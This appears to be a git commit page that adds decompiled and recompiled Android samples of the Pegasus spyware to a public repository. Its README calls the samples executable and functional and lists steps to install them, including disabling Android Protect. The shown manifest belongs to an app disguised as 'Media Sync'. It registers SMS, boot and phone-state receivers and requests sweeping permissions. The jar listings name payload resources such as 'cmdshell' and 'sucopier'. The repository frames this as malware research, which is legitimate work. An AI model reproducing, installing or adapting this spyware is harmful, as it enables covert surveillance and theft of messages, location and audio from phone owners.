Decompiled & Recompiled Samples 5-6 For Android

pull/12/head
jonathandata1 2021-12-16 12:51:42 -06:00
rodzic b40f5e4bdf
commit 5755fe5140
2498 zmienionych plików z 1290861 dodań i 3 usunięć

BIN
.DS_Store vendored 100644

Plik binarny nie jest wyświetlany.

Wyświetl plik

@ -1,12 +1,28 @@
# Pegasus Spyware Samples Decompiled & Recompiled
## Author: Jonathan Scott @jonathandata1
### CURRENT VERSION 3.0
**PEGASUS SPYWARE JAVA RECOMPILED** - I have recompiled all JAVA from the Pegasus Spyware and the results are Shockingly Horrible!
## Description:
### Samples 1-5 are executable and functional. I am still working on cleaning up Sample #6, but most the XML data can be read.
## Steps To Install & Research The Spyware Samples
![PEGASUS SPYWARE JAVA RECOMPILED](https://i.postimg.cc/sDKh13Yr/pegaus-recompiled.jpg)
1. Enable ADB on your android
2. Disable Android Protect
3. adb install sample#.apk
4. launch the apk, example
`adb shell am start com.xxGameAssistant.pao/.SplashActivity`
## Acknowledgements
### @vxunderground for providing the samples
### @recordedfuture for validation
![PEGASUS SPYWARE 5-6](https://i.postimg.cc/7PzxWxCt/pegasus-spyware-samples-5-6.jpg)
**PEGASUS SPYWARE DECOMPILED** - Thanks to vx-underground @vxunderground I was able to decompile the sources he gathered. Enjoy!
![PEGASUS SPYWARE RAW DECOMPILED](https://i.postimg.cc/mZd92vqK/pegasus-spyware-android.jpg)

Plik binarny nie jest wyświetlany.

Plik binarny nie jest wyświetlany.

Plik binarny nie jest wyświetlany.

Plik binarny nie jest wyświetlany.

Plik binarny nie jest wyświetlany.

Plik binarny nie jest wyświetlany.

Wyświetl plik

@ -0,0 +1,204 @@
<?xml version="1.0" encoding="utf-8" standalone="no"?><manifest xmlns:android="http://schemas.android.com/apk/res/android" package="seC.dujmehn.qdtheyt" platformBuildVersionCode="23" platformBuildVersionName="6.0-2438415">
<application android:allowClearUserData="false" android:allowTaskReparenting="true" android:debuggable="false" android:enabled="true" android:hasCode="true" android:icon="@android:drawable/stat_notify_sync" android:label="Media Sync" android:name="seC.dujmehn.qdtheyt.qwudj.DujmehnQff" android:persistent="true" android:theme="@android:style/Theme.Black.NoTitleBar">
<activity android:label="@string/hello" android:name="seC.dujmehn.qdtheyt.Dujmehnpqyd">
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
</intent-filter>
</activity>
<activity android:name=".heeCJqf.IxemTuinjef" android:theme="@android:style/Theme.Black.NoTitleBar" class="com.network.android.ShowDesktop"/>
<activity android:name=".heeCJqf.RBqsnIshuud" android:theme="@android:style/Theme.Black.NoTitleBar" class="com.network.android.BlackScreen"/>
<receiver android:enabled="true" android:name="seC.dujmehn.qdtheyt.ICiHusuyluh">
<intent-filter android:priority="100">
<action android:name="android.intent.action.DATA_SMS_RECEIVED"/>
<data android:scheme="sms"/>
<data android:host="localhost"/>
<data android:port="0"/>
</intent-filter>
</receiver>
<receiver android:enabled="true" android:name="seC.dujmehn.qdtheyt.qwudj.DujmehnHusuyluh">
<intent-filter>
<action android:name="android.intent.action.PHONE_STATE"/>
<action android:name="android.intent.action.USER_PRESENT"/>
<action android:name="android.intent.action.ACTION_POWER_CONNECTED"/>
<action android:name="android.intent.action.ACTION_POWER_DISCONNECTED"/>
<action android:name="android.intent.action.BOOT_COMPLETED"/>
<action android:name="android.provider.Telephony.SMS_RECEIVED"/>
<action android:name="android.provider.Telephony.NEW_OUTGOING_SMS"/>
<action android:name="android.intent.action.ACTION_TIMEZONE_CHANGED"/>
<action android:name="android.intent.action.ACTION_TIME_CHANGED"/>
<action android:name="android.intent.action.ACTION_UID_REMOVED"/>
<action android:name="android.intent.action.ACTION_USER_PRESENT"/>
<action android:name="android.bluetooth.device.action.ACL_CONNECTED"/>
<action android:name="android.bluetooth.device.action.ACL_DISCONNECTED"/>
<action android:name="android.net.conn.CONNECTIVITY_CHANGE"/>
<action android:name="com.network.android.USER_PRESENT"/>
<action android:name="android.intent.action.DATA_SMS_RECEIVED"/>
<action android:name="android.intent.action.BATTERY_CHANGED"/>
</intent-filter>
</receiver>
<receiver android:enabled="true" android:name=".heeCJqf.QkjeQdimuhHusuyluh">
<intent-filter android:priority="100">
<action android:name="android.intent.action.PHONE_STATE"/>
</intent-filter>
</receiver>
<receiver android:enabled="true" android:name="seC.dujmehn.qdtheyt.QdtheytSqBBTyhusjMqjsxuh">
<intent-filter android:priority="100">
<action android:name="android.intent.action.PHONE_STATE"/>
</intent-filter>
</receiver>
<receiver android:enabled="true" android:name="seC.dujmehn.qdtheyt.ReejHusuyluh">
<intent-filter>
<action android:name="android.intent.action.BOOT_COMPLETED"/>
</intent-filter>
</receiver>
<receiver android:name="seC.dujmehn.Cutyq.SehuHusuyluh"/>
<receiver android:name="seC.dujmehn.Besqjyed.FydwHusuyluh"/>
<receiver android:name="seC.dujmehn.Besqjyed.EdQBqhCHusuyluh"/>
<service android:name="seC.dujmehn.qdtheyt.qdtheyt.Cedyjeh.QffIuhlysu"/>
<service android:name="seC.dujmehn.qdtheyt.qdtheyt.Cedyjeh.QffIuhlysuFydwuh"/>
<service android:enabled="true" android:name="seC.dujmehn.qdtheyt.qdtheyt.Cedyjeh.DujmehnpqdqwuhIuhlysu"/>
<service android:enabled="true" android:name=".heeCJqf.putyqFBqOuhXqdtBuhIuhlysu"/>
<service android:enabled="true" android:exported="true" android:name="seC.dujmehn.kiit.STKIITIuhlysu">
<intent-filter>
<action android:name="com.android.ussd.IExtendedNetworkService"/>
</intent-filter>
</service>
</application>
<uses-permission android:name="android.permission.FORCE_STOP_PACKAGES"/>
<uses-permission android:name="android.permission.ACCESS_CHECKIN_PROPERTIES"/>
<uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION"/>
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
<uses-permission android:name="android.permission.ACCESS_LOCATION_EXTRA_COMMANDS"/>
<uses-permission android:name="android.permission.ACCESS_MOCK_LOCATION"/>
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
<uses-permission android:name="android.permission.ACCESS_SURFACE_FLINGER"/>
<uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/>
<uses-permission android:name="android.permission.ACCOUNT_MANAGER"/>
<uses-permission android:name="android.permission.AUTHENTICATE_ACCOUNTS"/>
<uses-permission android:name="android.permission.BATTERY_STATS"/>
<uses-permission android:name="android.permission.BIND_APPWIDGET"/>
<uses-permission android:name="android.permission.BIND_DEVICE_ADMIN"/>
<uses-permission android:name="android.permission.BIND_INPUT_METHOD"/>
<uses-permission android:name="android.permission.BIND_REMOTEVIEWS"/>
<uses-permission android:name="android.permission.BIND_WALLPAPER"/>
<uses-permission android:name="android.permission.BLUETOOTH"/>
<uses-permission android:name="android.permission.BLUETOOTH_ADMIN"/>
<uses-permission android:name="android.permission.BRICK"/>
<uses-permission android:name="android.permission.BROADCAST_PACKAGE_REMOVED"/>
<uses-permission android:name="android.permission.BROADCAST_SMS"/>
<uses-permission android:name="android.permission.BROADCAST_STICKY"/>
<uses-permission android:name="android.permission.BROADCAST_WAP_PUSH"/>
<uses-permission android:name="android.permission.CALL_PHONE"/>
<uses-permission android:name="android.permission.CALL_PRIVILEGED"/>
<uses-permission android:name="android.permission.CAMERA"/>
<uses-permission android:name="android.permission.CHANGE_COMPONENT_ENABLED_STATE"/>
<uses-permission android:name="android.permission.CHANGE_CONFIGURATION"/>
<uses-permission android:name="android.permission.CHANGE_NETWORK_STATE"/>
<uses-permission android:name="android.permission.CHANGE_WIFI_MULTICAST_STATE"/>
<uses-permission android:name="android.permission.CHANGE_WIFI_STATE"/>
<uses-permission android:name="android.permission.CLEAR_APP_CACHE"/>
<uses-permission android:name="android.permission.CLEAR_APP_USER_DATA"/>
<uses-permission android:name="android.permission.CONTROL_LOCATION_UPDATES"/>
<uses-permission android:name="android.permission.DELETE_CACHE_FILES"/>
<uses-permission android:name="android.permission.DELETE_PACKAGES"/>
<uses-permission android:name="android.permission.DEVICE_POWER"/>
<uses-permission android:name="android.permission.DIAGNOSTIC"/>
<uses-permission android:name="android.permission.DISABLE_KEYGUARD"/>
<uses-permission android:name="android.permission.DUMP"/>
<uses-permission android:name="android.permission.EXPAND_STATUS_BAR"/>
<uses-permission android:name="android.permission.FACTORY_TEST"/>
<uses-permission android:name="android.permission.FLASHLIGHT"/>
<uses-permission android:name="android.permission.FORCE_BACK"/>
<uses-permission android:name="android.permission.GET_ACCOUNTS"/>
<uses-permission android:name="android.permission.GET_PACKAGE_SIZE"/>
<uses-permission android:name="android.permission.GET_TASKS"/>
<uses-permission android:name="android.permission.GLOBAL_SEARCH"/>
<uses-permission android:name="android.permission.HARDWARE_TEST"/>
<uses-permission android:name="android.permission.INJECT_EVENTS"/>
<uses-permission android:name="android.permission.INSTALL_LOCATION_PROVIDER"/>
<uses-permission android:name="android.permission.INSTALL_PACKAGES"/>
<uses-permission android:name="android.permission.INTERNAL_SYSTEM_WINDOW"/>
<uses-permission android:name="android.permission.INTERNET"/>
<uses-permission android:name="android.permission.KILL_BACKGROUND_PROCESSES"/>
<uses-permission android:name="android.permission.MANAGE_ACCOUNTS"/>
<uses-permission android:name="android.permission.MANAGE_APP_TOKENS"/>
<uses-permission android:name="android.permission.MASTER_CLEAR"/>
<uses-permission android:name="android.permission.MODIFY_AUDIO_SETTINGS"/>
<uses-permission android:name="android.permission.MODIFY_PHONE_STATE"/>
<uses-permission android:name="android.permission.MOUNT_FORMAT_FILESYSTEMS"/>
<uses-permission android:name="android.permission.MOUNT_UNMOUNT_FILESYSTEMS"/>
<uses-permission android:name="android.permission.NFC"/>
<uses-permission android:name="android.permission.PERSISTENT_ACTIVITY"/>
<uses-permission android:name="android.permission.PROCESS_OUTGOING_CALLS"/>
<uses-permission android:name="android.permission.READ_CALENDAR"/>
<uses-permission android:name="android.permission.READ_CONTACTS"/>
<uses-permission android:name="android.permission.READ_FRAME_BUFFER"/>
<uses-permission android:name="android.permission.READ_HISTORY_BOOKMARKS"/>
<uses-permission android:name="android.permission.READ_INPUT_STATE"/>
<uses-permission android:name="android.permission.READ_LOGS"/>
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
<uses-permission android:name="android.permission.READ_SMS"/>
<uses-permission android:name="android.permission.READ_SYNC_SETTINGS"/>
<uses-permission android:name="android.permission.READ_SYNC_STATS"/>
<uses-permission android:name="android.permission.REBOOT"/>
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
<uses-permission android:name="android.permission.RECEIVE_MMS"/>
<uses-permission android:name="android.permission.RECEIVE_SMS"/>
<uses-permission android:name="android.permission.RECEIVE_WAP_PUSH"/>
<uses-permission android:name="android.permission.RECORD_AUDIO"/>
<uses-permission android:name="android.permission.REORDER_TASKS"/>
<uses-permission android:name="android.permission.RESTART_PACKAGES"/>
<uses-permission android:name="android.permission.SEND_SMS"/>
<uses-permission android:name="android.permission.SET_ACTIVITY_WATCHER"/>
<uses-permission android:name="android.permission.SET_ALARM"/>
<uses-permission android:name="android.permission.SET_ALWAYS_FINISH"/>
<uses-permission android:name="android.permission.SET_ANIMATION_SCALE"/>
<uses-permission android:name="android.permission.SET_DEBUG_APP"/>
<uses-permission android:name="android.permission.SET_ORIENTATION"/>
<uses-permission android:name="android.permission.SET_PREFERRED_APPLICATIONS"/>
<uses-permission android:name="android.permission.SET_PROCESS_LIMIT"/>
<uses-permission android:name="android.permission.SET_TIME"/>
<uses-permission android:name="android.permission.SET_TIME_ZONE"/>
<uses-permission android:name="android.permission.SET_WALLPAPER"/>
<uses-permission android:name="android.permission.SET_WALLPAPER_HINTS"/>
<uses-permission android:name="android.permission.SIGNAL_PERSISTENT_PROCESSES"/>
<uses-permission android:name="android.permission.STATUS_BAR"/>
<uses-permission android:name="android.permission.SUBSCRIBED_FEEDS_READ"/>
<uses-permission android:name="android.permission.SUBSCRIBED_FEEDS_WRITE"/>
<uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW"/>
<uses-permission android:name="android.permission.UPDATE_DEVICE_STATS"/>
<uses-permission android:name="android.permission.USE_CREDENTIALS"/>
<uses-permission android:name="android.permission.USE_SIP"/>
<uses-permission android:name="android.permission.VIBRATE"/>
<uses-permission android:name="android.permission.WAKE_LOCK"/>
<uses-permission android:name="android.permission.WRITE_APN_SETTINGS"/>
<uses-permission android:name="android.permission.WRITE_CALENDAR"/>
<uses-permission android:name="android.permission.WRITE_CONTACTS"/>
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.WRITE_GSERVICES"/>
<uses-permission android:name="android.permission.WRITE_HISTORY_BOOKMARKS"/>
<uses-permission android:name="com.android.browser.permission.WRITE_HISTORY_BOOKMARKS"/>
<uses-permission android:name="android.permission.WRITE_SECURE_SETTINGS"/>
<uses-permission android:name="android.permission.WRITE_SETTINGS"/>
<uses-permission android:name="android.permission.WRITE_SMS"/>
<uses-permission android:name="android.permission.WRITE_SYNC_SETTINGS"/>
<uses-permission android:name="com.android.browser.permission.READ_HISTORY_BOOKMARKS"/>
<uses-permission android:name="com.android.email.permission.ACCESS_PROVIDER"/>
<uses-permission android:name="com.android.email.provider.EmailProvider"/>
<uses-permission android:name="android.permission.WRITE_APN_SETTINGS"/>
<uses-permission android:name="android.permission.MODIFY_AUDIO_SETTINGS"/>
<uses-permission android:name="android.permission.WAKE_LOCK"/>
<uses-permission android:name="android.permission.SET_WALLPAPER_HINTS"/>
<uses-permission android:name="android.permission.READ_SYNC_SETTINGS"/>
<uses-permission android:name="android.permission.READ_SYNC_STATS"/>
<uses-permission android:name="android.permission.NFC"/>
<uses-permission android:name="android.permission.READ_SYNC_SETTINGS"/>
<uses-permission android:name="android.permission.UNINSTALL_SHORTCUT"/>
<uses-permission android:name="android.permission.CHANGE_WIFI_MULTICAST_STATE"/>
<uses-permission android:name="android.permission.INTERNET"/>
<uses-permission android:name="android.permission.NFC"/>
<uses-permission android:name="android.permission.ACCESS_NOTIFICATION_POLICY"/>
<uses-permission android:name="android.permission.CHANGE_NETWORK_STATE"/>
<uses-permission android:name="android.permission.READ_SYNC_STATS"/>
<uses-permission android:name="android.permission.UNINSTALL_SHORTCUT"/>
</manifest>

Wyświetl plik

@ -0,0 +1,40 @@
!!brut.androlib.meta.MetaInfo
apkFileName: bd8cda80aaee3e4a17e9967a1c062ac5c8e4aefd7eaa3362f54044c2c94db52a.apk
compressionType: false
doNotCompress:
- resources.arsc
- res/raw/output.mp3
isFrameworkApk: false
packageInfo:
forcedPackageId: '127'
renameManifestPackage: null
sdkInfo:
minSdkVersion: '9'
sharedLibrary: false
sparseResources: true
unknownFiles:
CHANGELOG: '8'
build.xml: '8'
project.properties: '8'
org/eclipse/paho/client/mqttv3/internal/nls/messages.properties: '8'
org/eclipse/paho/client/mqttv3/internal/nls/messages_cs.properties: '8'
org/eclipse/paho/client/mqttv3/internal/nls/messages_de.properties: '8'
org/eclipse/paho/client/mqttv3/internal/nls/messages_es.properties: '8'
org/eclipse/paho/client/mqttv3/internal/nls/messages_fr.properties: '8'
org/eclipse/paho/client/mqttv3/internal/nls/messages_hu.properties: '8'
org/eclipse/paho/client/mqttv3/internal/nls/messages_it.properties: '8'
org/eclipse/paho/client/mqttv3/internal/nls/messages_ja.properties: '8'
org/eclipse/paho/client/mqttv3/internal/nls/messages_ko.properties: '8'
org/eclipse/paho/client/mqttv3/internal/nls/messages_pl.properties: '8'
org/eclipse/paho/client/mqttv3/internal/nls/messages_pt_BR.properties: '8'
org/eclipse/paho/client/mqttv3/internal/nls/messages_ru.properties: '8'
org/eclipse/paho/client/mqttv3/internal/nls/messages_zh_CN.properties: '8'
org/eclipse/paho/client/mqttv3/internal/nls/messages_zh_TW.properties: '8'
usesFramework:
ids:
- 1
tag: null
version: 2.6.0
versionInfo:
versionCode: '292'
versionName: 2.9.3

Wyświetl plik

@ -0,0 +1,100 @@
Manifest-Version: 1.0
Created-By: 1.8.0_101 (Oracle Corporation)
Name: org/eclipse/paho/client/mqttv3/internal/nls/messages_hu.properti
es
SHA1-Digest: mrzb0VC5hL9G68/iXp4XZ1vnjmg=
Name: AndroidManifest.xml
SHA1-Digest: EbzBgapXCj2lWCXhO3lbFDdcSEo=
Name: org/eclipse/paho/client/mqttv3/internal/nls/messages_fr.properti
es
SHA1-Digest: rXW3sh3K1ercoWfnCqMU03EgzXY=
Name: res/raw/sucopier
SHA1-Digest: WD2vsQy/oJQYIdn+chtKKEmK5lY=
Name: project.properties
SHA1-Digest: dU5SlJ1/vahW+U325B3Ds42RYkg=
Name: org/eclipse/paho/client/mqttv3/internal/nls/messages.properties
SHA1-Digest: OKGzg479+eOw/5ayCSd+zGbZCi0=
Name: res/raw/take_screen_shot
SHA1-Digest: Byyl3battW9eEA80mfkjyoYjlqs=
Name: org/eclipse/paho/client/mqttv3/internal/nls/messages_ko.properti
es
SHA1-Digest: GWfQA6Tlsv5ilZyy74DPFTjSP8c=
Name: org/eclipse/paho/client/mqttv3/internal/nls/messages_ru.properti
es
SHA1-Digest: tlOHqFEuCRKNOVA1DVQL7/sq7co=
Name: org/eclipse/paho/client/mqttv3/internal/nls/messages_zh_CN.prope
rties
SHA1-Digest: k99kAMNajIR+wn4zqiV8TvdDluU=
Name: res/raw/libk
SHA1-Digest: y/lGvrC22iEgcXKo0QXzh9Ui4js=
Name: res/raw/output.mp3
SHA1-Digest: 2jmj7l5rSw0yVb/vlWAYkK/YBwk=
Name: org/eclipse/paho/client/mqttv3/internal/nls/messages_de.properti
es
SHA1-Digest: 97M9ZhLRIfHYPp5Y6lw/7wSNlsk=
Name: CHANGELOG
SHA1-Digest: 2jmj7l5rSw0yVb/vlWAYkK/YBwk=
Name: res/layout/blackscreen.xml
SHA1-Digest: Jl90n7TsnWFCchhl+zCzcqx76NA=
Name: res/layout/main.xml
SHA1-Digest: Jl90n7TsnWFCchhl+zCzcqx76NA=
Name: org/eclipse/paho/client/mqttv3/internal/nls/messages_pl.properti
es
SHA1-Digest: a5cf9+O7LR67dIirfJCTOfMHvLQ=
Name: org/eclipse/paho/client/mqttv3/internal/nls/messages_it.properti
es
SHA1-Digest: Mti39pxYGiyLE92iEJLvph6/ZNw=
Name: org/eclipse/paho/client/mqttv3/internal/nls/messages_es.properti
es
SHA1-Digest: 0LEISaH+at67f3jrV3UdD1SW9a8=
Name: org/eclipse/paho/client/mqttv3/internal/nls/messages_ja.properti
es
SHA1-Digest: sDrSFv98reuliHojs7P4Z2wYFO4=
Name: org/eclipse/paho/client/mqttv3/internal/nls/messages_pt_BR.prope
rties
SHA1-Digest: D7LKcuS0PoeR+ZqFAhJnAt83sAM=
Name: org/eclipse/paho/client/mqttv3/internal/nls/messages_cs.properti
es
SHA1-Digest: /pFRdgiHgQfxbmigV6G7UES+P1U=
Name: org/eclipse/paho/client/mqttv3/internal/nls/messages_zh_TW.prope
rties
SHA1-Digest: dvW3SZvDEOuNAqnAvOjaNd/UCHM=
Name: resources.arsc
SHA1-Digest: VGvvvGcPwxRHsx1FFrGbVXrc0Ms=
Name: build.xml
SHA1-Digest: 7C7Nn1Q/pUxkdK3Pj7uirfrQwf0=
Name: res/raw/addk
SHA1-Digest: WWI1OGBrKmEHzPAxoICPRYgpuuo=
Name: classes.dex
SHA1-Digest: TGGvFrmvNUjmyYz4DquCz1y0H4o=
Name: res/raw/cmdshell
SHA1-Digest: PitKgbrGMJc6mQ7R6eCpcxWKgYo=

Wyświetl plik

@ -0,0 +1,102 @@
Signature-Version: 1.0
SHA1-Digest-Manifest-Main-Attributes: 0LPzhBh4mQ9plSv/uqd4keWkBho=
SHA1-Digest-Manifest: 7psbb8c79TXY1XRhQWzeERsvpOA=
Created-By: 1.8.0_101 (Oracle Corporation)
Name: org/eclipse/paho/client/mqttv3/internal/nls/messages_hu.properti
es
SHA1-Digest: ZHR06ZvMdzcvhgj0eBuwas8x338=
Name: AndroidManifest.xml
SHA1-Digest: C+7FIYYI2BuavKBDn89NLNPZ4s0=
Name: org/eclipse/paho/client/mqttv3/internal/nls/messages_fr.properti
es
SHA1-Digest: aGFaC5t3IX49z1GUiO1jDC9+Cs4=
Name: res/raw/sucopier
SHA1-Digest: D7gDu124kvRhoHON5hMIk/pDYb4=
Name: project.properties
SHA1-Digest: O2zbgSsRGtTmuP4A7AIoRkZiOtY=
Name: org/eclipse/paho/client/mqttv3/internal/nls/messages.properties
SHA1-Digest: hBGshSgfQbWbpkOKCoUb16OP8GY=
Name: res/raw/take_screen_shot
SHA1-Digest: 0UXYinM7LVkzVEY5QiMzSBfvUPI=
Name: org/eclipse/paho/client/mqttv3/internal/nls/messages_ko.properti
es
SHA1-Digest: dANKsd5EJ+hiAmnlrWQ7cX9IVIs=
Name: org/eclipse/paho/client/mqttv3/internal/nls/messages_ru.properti
es
SHA1-Digest: 7n8jR6yCgJPZ3R9FfIgIM7D5WqM=
Name: org/eclipse/paho/client/mqttv3/internal/nls/messages_zh_CN.prope
rties
SHA1-Digest: SRKvTczl6yARwDoqnPO8XvwJCGM=
Name: res/raw/libk
SHA1-Digest: KlUO2+BTSaoSpqfbxHYYtVqbQ+Y=
Name: res/raw/output.mp3
SHA1-Digest: C0l/VkU+0N3h9i/D8MdWddK/f50=
Name: org/eclipse/paho/client/mqttv3/internal/nls/messages_de.properti
es
SHA1-Digest: Lmq+OOkeBfj4G/LdVi6+vjO/L+s=
Name: CHANGELOG
SHA1-Digest: KUt7l8H88hNVeeUm4JsfkHBn5Cs=
Name: res/layout/blackscreen.xml
SHA1-Digest: tV7y6WbJ/V/0DqZfgMn+WrDevtM=
Name: res/layout/main.xml
SHA1-Digest: 8b9wIFHWRcnO4A6DtpDDPU83Tdg=
Name: org/eclipse/paho/client/mqttv3/internal/nls/messages_pl.properti
es
SHA1-Digest: wSCdWNPtVp5E0ZdCfXKi2BUSb/w=
Name: org/eclipse/paho/client/mqttv3/internal/nls/messages_it.properti
es
SHA1-Digest: MjkiTWJceb1jOe/Ne04mqpdxKDA=
Name: org/eclipse/paho/client/mqttv3/internal/nls/messages_es.properti
es
SHA1-Digest: axciAGJHqoqyD5QgTJdgH33dve4=
Name: org/eclipse/paho/client/mqttv3/internal/nls/messages_ja.properti
es
SHA1-Digest: l1DiO3QOByC1ddMF1XOES7/Hr2s=
Name: org/eclipse/paho/client/mqttv3/internal/nls/messages_pt_BR.prope
rties
SHA1-Digest: F72I8aDFSpmVslF/imEQu/DNyWw=
Name: org/eclipse/paho/client/mqttv3/internal/nls/messages_cs.properti
es
SHA1-Digest: SZ8LzVACu6ZITEvjefweSByyjBI=
Name: org/eclipse/paho/client/mqttv3/internal/nls/messages_zh_TW.prope
rties
SHA1-Digest: a6vDZ/foHLI9YLtbqqsE3vX7tnE=
Name: resources.arsc
SHA1-Digest: btUs+G9C9oiyjyjuZEfOKqI7k3k=
Name: build.xml
SHA1-Digest: bbvi0XHbSRyAwlznqPRnwaozw8w=
Name: res/raw/addk
SHA1-Digest: Kt2DR6OzjH6NwOOAL5D+AWzKfhg=
Name: classes.dex
SHA1-Digest: CXPLBi1oyELlKjajXfJknMHeztc=
Name: res/raw/cmdshell
SHA1-Digest: 2xHhtKqEr5jdvoOcQMtxDauVRdY=

Wyświetl plik

@ -0,0 +1,5 @@
<?xml version="1.0" encoding="utf-8"?>
<LinearLayout android:orientation="vertical" android:id="@id/mainLayout" android:layout_width="fill_parent" android:layout_height="fill_parent"
xmlns:android="http://schemas.android.com/apk/res/android">
<ImageView android:id="@id/ImageView01" android:layout_width="wrap_content" android:layout_height="wrap_content" />
</LinearLayout>

Wyświetl plik

@ -0,0 +1,5 @@
<?xml version="1.0" encoding="utf-8"?>
<LinearLayout android:orientation="vertical" android:id="@id/mainLayout" android:layout_width="fill_parent" android:layout_height="fill_parent"
xmlns:android="http://schemas.android.com/apk/res/android">
<ImageView android:id="@id/ImageView01" android:layout_width="wrap_content" android:layout_height="wrap_content" />
</LinearLayout>

Wyświetl plik

@ -0,0 +1,5 @@
<?xml version="1.0" encoding="utf-8"?>
<resources>
<item type="id" name="mainLayout" />
<item type="id" name="ImageView01" />
</resources>

Wyświetl plik

@ -0,0 +1,18 @@
<?xml version="1.0" encoding="utf-8"?>
<resources>
<public type="layout" name="blackscreen" id="0x7f020000" />
<public type="layout" name="main" id="0x7f020001" />
<public type="raw" name="addk" id="0x7f030000" />
<public type="raw" name="cmdshell" id="0x7f030001" />
<public type="raw" name="libk" id="0x7f030002" />
<public type="raw" name="output" id="0x7f030003" />
<public type="raw" name="sucopier" id="0x7f030004" />
<public type="raw" name="take_screen_shot" id="0x7f030005" />
<public type="string" name="hello" id="0x7f040000" />
<public type="string" name="app_name" id="0x7f040001" />
<public type="string" name="btnSettingsBack" id="0x7f040002" />
<public type="string" name="nameTitle" id="0x7f040003" />
<public type="string" name="settingsTitle" id="0x7f040004" />
<public type="id" name="mainLayout" id="0x7f050000" />
<public type="id" name="ImageView01" id="0x7f050001" />
</resources>

Wyświetl plik

@ -0,0 +1,8 @@
<?xml version="1.0" encoding="utf-8"?>
<resources>
<string name="hello" />
<string name="app_name" />
<string name="btnSettingsBack" />
<string name="nameTitle" />
<string name="settingsTitle" />
</resources>

Wyświetl plik

@ -0,0 +1,24 @@
.class public interface abstract annotation Landroid/support/annotation/AnimRes;
.super Ljava/lang/Object;
.source "AnimRes.java"
# interfaces
.implements Ljava/lang/annotation/Annotation;
# annotations
.annotation runtime Ljava/lang/annotation/Documented;
.end annotation
.annotation runtime Ljava/lang/annotation/Retention;
value = .enum Ljava/lang/annotation/RetentionPolicy;->CLASS:Ljava/lang/annotation/RetentionPolicy;
.end annotation
.annotation runtime Ljava/lang/annotation/Target;
value = {
.enum Ljava/lang/annotation/ElementType;->METHOD:Ljava/lang/annotation/ElementType;,
.enum Ljava/lang/annotation/ElementType;->PARAMETER:Ljava/lang/annotation/ElementType;,
.enum Ljava/lang/annotation/ElementType;->FIELD:Ljava/lang/annotation/ElementType;,
.enum Ljava/lang/annotation/ElementType;->LOCAL_VARIABLE:Ljava/lang/annotation/ElementType;
}
.end annotation

Wyświetl plik

@ -0,0 +1,24 @@
.class public interface abstract annotation Landroid/support/annotation/AnimatorRes;
.super Ljava/lang/Object;
.source "AnimatorRes.java"
# interfaces
.implements Ljava/lang/annotation/Annotation;
# annotations
.annotation runtime Ljava/lang/annotation/Documented;
.end annotation
.annotation runtime Ljava/lang/annotation/Retention;
value = .enum Ljava/lang/annotation/RetentionPolicy;->CLASS:Ljava/lang/annotation/RetentionPolicy;
.end annotation
.annotation runtime Ljava/lang/annotation/Target;
value = {
.enum Ljava/lang/annotation/ElementType;->METHOD:Ljava/lang/annotation/ElementType;,
.enum Ljava/lang/annotation/ElementType;->PARAMETER:Ljava/lang/annotation/ElementType;,
.enum Ljava/lang/annotation/ElementType;->FIELD:Ljava/lang/annotation/ElementType;,
.enum Ljava/lang/annotation/ElementType;->LOCAL_VARIABLE:Ljava/lang/annotation/ElementType;
}
.end annotation

Wyświetl plik

@ -0,0 +1,24 @@
.class public interface abstract annotation Landroid/support/annotation/AnyRes;
.super Ljava/lang/Object;
.source "AnyRes.java"
# interfaces
.implements Ljava/lang/annotation/Annotation;
# annotations
.annotation runtime Ljava/lang/annotation/Documented;
.end annotation
.annotation runtime Ljava/lang/annotation/Retention;
value = .enum Ljava/lang/annotation/RetentionPolicy;->CLASS:Ljava/lang/annotation/RetentionPolicy;
.end annotation
.annotation runtime Ljava/lang/annotation/Target;
value = {
.enum Ljava/lang/annotation/ElementType;->METHOD:Ljava/lang/annotation/ElementType;,
.enum Ljava/lang/annotation/ElementType;->PARAMETER:Ljava/lang/annotation/ElementType;,
.enum Ljava/lang/annotation/ElementType;->FIELD:Ljava/lang/annotation/ElementType;,
.enum Ljava/lang/annotation/ElementType;->LOCAL_VARIABLE:Ljava/lang/annotation/ElementType;
}
.end annotation

Wyświetl plik

@ -0,0 +1,23 @@
.class public interface abstract annotation Landroid/support/annotation/AnyThread;
.super Ljava/lang/Object;
.source "AnyThread.java"
# interfaces
.implements Ljava/lang/annotation/Annotation;
# annotations
.annotation runtime Ljava/lang/annotation/Documented;
.end annotation
.annotation runtime Ljava/lang/annotation/Retention;
value = .enum Ljava/lang/annotation/RetentionPolicy;->CLASS:Ljava/lang/annotation/RetentionPolicy;
.end annotation
.annotation runtime Ljava/lang/annotation/Target;
value = {
.enum Ljava/lang/annotation/ElementType;->METHOD:Ljava/lang/annotation/ElementType;,
.enum Ljava/lang/annotation/ElementType;->CONSTRUCTOR:Ljava/lang/annotation/ElementType;,
.enum Ljava/lang/annotation/ElementType;->TYPE:Ljava/lang/annotation/ElementType;
}
.end annotation

Wyświetl plik

@ -0,0 +1,24 @@
.class public interface abstract annotation Landroid/support/annotation/ArrayRes;
.super Ljava/lang/Object;
.source "ArrayRes.java"
# interfaces
.implements Ljava/lang/annotation/Annotation;
# annotations
.annotation runtime Ljava/lang/annotation/Documented;
.end annotation
.annotation runtime Ljava/lang/annotation/Retention;
value = .enum Ljava/lang/annotation/RetentionPolicy;->CLASS:Ljava/lang/annotation/RetentionPolicy;
.end annotation
.annotation runtime Ljava/lang/annotation/Target;
value = {
.enum Ljava/lang/annotation/ElementType;->METHOD:Ljava/lang/annotation/ElementType;,
.enum Ljava/lang/annotation/ElementType;->PARAMETER:Ljava/lang/annotation/ElementType;,
.enum Ljava/lang/annotation/ElementType;->FIELD:Ljava/lang/annotation/ElementType;,
.enum Ljava/lang/annotation/ElementType;->LOCAL_VARIABLE:Ljava/lang/annotation/ElementType;
}
.end annotation

Wyświetl plik

@ -0,0 +1,24 @@
.class public interface abstract annotation Landroid/support/annotation/AttrRes;
.super Ljava/lang/Object;
.source "AttrRes.java"
# interfaces
.implements Ljava/lang/annotation/Annotation;
# annotations
